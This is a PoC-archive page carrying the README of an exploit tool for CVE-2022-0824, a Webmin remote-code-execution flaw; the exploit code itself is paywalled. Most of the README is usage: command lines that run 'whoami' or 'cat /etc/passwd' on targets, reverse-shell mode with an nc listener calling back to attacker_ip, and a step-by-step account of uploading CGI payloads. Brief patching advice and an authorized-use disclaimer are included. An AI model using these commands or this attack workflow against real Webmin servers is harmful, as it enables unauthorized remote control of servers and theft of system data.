Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2022-0824 PoC — Improper Access Control to Remote Code Execution in webmin/webmin

Source
Associated Vulnerability
Title: Improper Access Control to Remote Code Execution in webmin/webmin (CVE-2022-0824)
Description:Improper Access Control to Remote Code Execution in GitHub repository webmin/webmin prior to 1.990.
Description
Webmin CVE-2022-0824 增强版漏洞利用工具 - 支持命令执行和反向Shell双模式
Readme
# Webmin-CVE-2022-0824-Enhanced-Exploit
> [!IMPORTANT]
>
> Webmin CVE-2022-0824 增强版漏洞利用工具 - 支持命令执行和反向Shell双模式

[![Python Version](https://img.shields.io/badge/python-3.6+-blue.svg)](https://www.python.org/downloads/)
[![License](https://img.shields.io/badge/license-MIT-green.svg)](LICENSE)
[![CVE](https://img.shields.io/badge/CVE-2022--0824-red.svg)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0824)

> [!IMPORTANT]
>
> 一个针对 Webmin CVE-2022-0824 漏洞的增强版利用工具,支持直接命令执行和反向Shell两种模式。

## 🚀 特性

- ✅ **双模式支持**:命令执行模式 + 反向Shell模式
- ✅ **多种Payload**:Perl、Bash、Python三种不同的payload
- ✅ **智能文件管理**:自动生成唯一文件名,避免文件冲突
- ✅ **强制覆盖上传**:自动处理已存在文件的覆盖问题
- ✅ **多重上传方式**:HTTP下载、直接上传、命令执行创建
- ✅ **详细调试信息**:完整的执行过程日志
- ✅ **用户友好界面**:彩色输出和清晰的状态提示

## 📋 漏洞信息

- **CVE编号**: CVE-2022-0824
- **影响版本**: Webmin < 1.990
- **漏洞类型**: 任意文件上传导致的远程代码执行
- **CVSS评分**: 9.8 (Critical)

## 🛠️ 安装要求

```bash
# Python 3.6+
pip3 install requests urllib3
```

## 📖 使用方法

### 命令执行模式(推荐)

```bash
# 基本命令执行
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"

# 查看系统信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"

# 列出文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"

# 查看敏感文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"

# 网络信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
```

### 反向Shell模式

```bash
# 1. 启动监听器
nc -nlvp 9999

# 2. 执行漏洞利用
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
```

## 📝 参数说明

| 参数 | 说明 | 必需 | 示例 |
|------|------|------|------|
| `-t, --target` | 目标Webmin URL | ✅ | `http://192.168.1.100:10000/` |
| `-c, --credential` | 登录凭据 | ✅ | `admin:password` |
| `-LS, --py3http_server` | HTTP服务器地址 | ✅ | `192.168.1.50:8080` |
| `--shell` | 要执行的命令 | ❌ | `"ls -la"` |
| `-L, --callback_ip` | 反向Shell回连IP | ❌* | `192.168.1.50` |
| `-P, --callback_port` | 反向Shell回连端口 | ❌* | `9999` |

*注:反向Shell模式下必需

## 🎯 使用示例

### 示例1:系统信息收集
```bash
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
```

### 示例2:文件系统探索
```bash
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
```

### 示例3:网络配置查看
```bash
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
```

## 🔧 工作原理

1. **登录验证**:使用提供的凭据登录Webmin管理界面
2. **Payload生成**:根据模式生成相应的CGI脚本
3. **文件上传**:通过文件管理器的HTTP下载功能上传payload
4. **权限设置**:设置上传文件的执行权限
5. **命令执行**:访问上传的CGI脚本执行命令或建立反向连接

## 🛡️ 防护建议

- 及时更新Webmin到最新版本(>= 1.990)
- 限制Webmin管理界面的网络访问
- 使用强密码和双因素认证
- 定期审计系统日志
- 部署Web应用防火墙(WAF)

## ⚠️ 免责声明

**本工具仅用于授权的安全测试和教育目的。**

- 🚫 禁止用于未经授权的系统
- 🚫 禁止用于恶意攻击
- 🚫 使用者需承担相应法律责任
- ✅ 仅在获得明确授权的环境中使用
- ✅ 用于安全研究和漏洞验证

## 📚 技术细节

### Payload类型
- **Perl CGI**: 主要payload,兼容性最好
- **Bash CGI**: 备用payload,适用于Linux系统
- **Python CGI**: 备用payload,功能最丰富

### 上传方式
1. **HTTP下载**: 通过Webmin文件管理器的远程下载功能
2. **直接上传**: 通过文件上传接口
3. **命令创建**: 通过系统命令创建文件

### 文件命名策略
- 基于命令内容的MD5哈希
- 时间戳后缀
- 确保每次执行使用不同文件名

## 🔄 更新日志

### v5.0 (2025-08-05)
- ✨ 新增命令执行模式
- 🐛 修复文件覆盖问题
- 🔧 改进文件命名策略
- 📈 增强错误处理

### v4.0 (基于原版)
- 🎯 基于 faisalfs10x 的原始代码
- 🔧 改进CGI兼容性
- 📝 增加详细日志

## 🤝 贡献

欢迎提交Issue和Pull Request!

1. Fork 本项目
2. 创建特性分支 (`git checkout -b feature/AmazingFeature`)
3. 提交更改 (`git commit -m 'Add some AmazingFeature'`)
4. 推送到分支 (`git push origin feature/AmazingFeature`)
5. 开启 Pull Request

## 📄 许可证

本项目采用 MIT 许可证 - 查看 [LICENSE](LICENSE) 文件了解详情

## 🙏 致谢

- 原始代码作者:[@faisalfs10x](https://github.com/faisalfs10x)
- 原项目地址:[Webmin-CVE-2022-0824-revshell](https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell)
- CVE发现者:相关安全研究人员

## 📞 联系方式

如有问题或建议,请通过以下方式联系:

- 📧 提交 GitHub Issue
- 🐛 报告安全问题请私信

---

**⭐ 如果这个项目对你有帮助,请给个Star支持一下!**

## 🔗 相关链接

- [CVE-2022-0824 详情](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0824)
- [Webmin 官方网站](https://www.webmin.com/)
- [原始项目](https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell)


## requirements.txt

```txt
requests>=2.25.1
urllib3>=1.26.0
```

File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →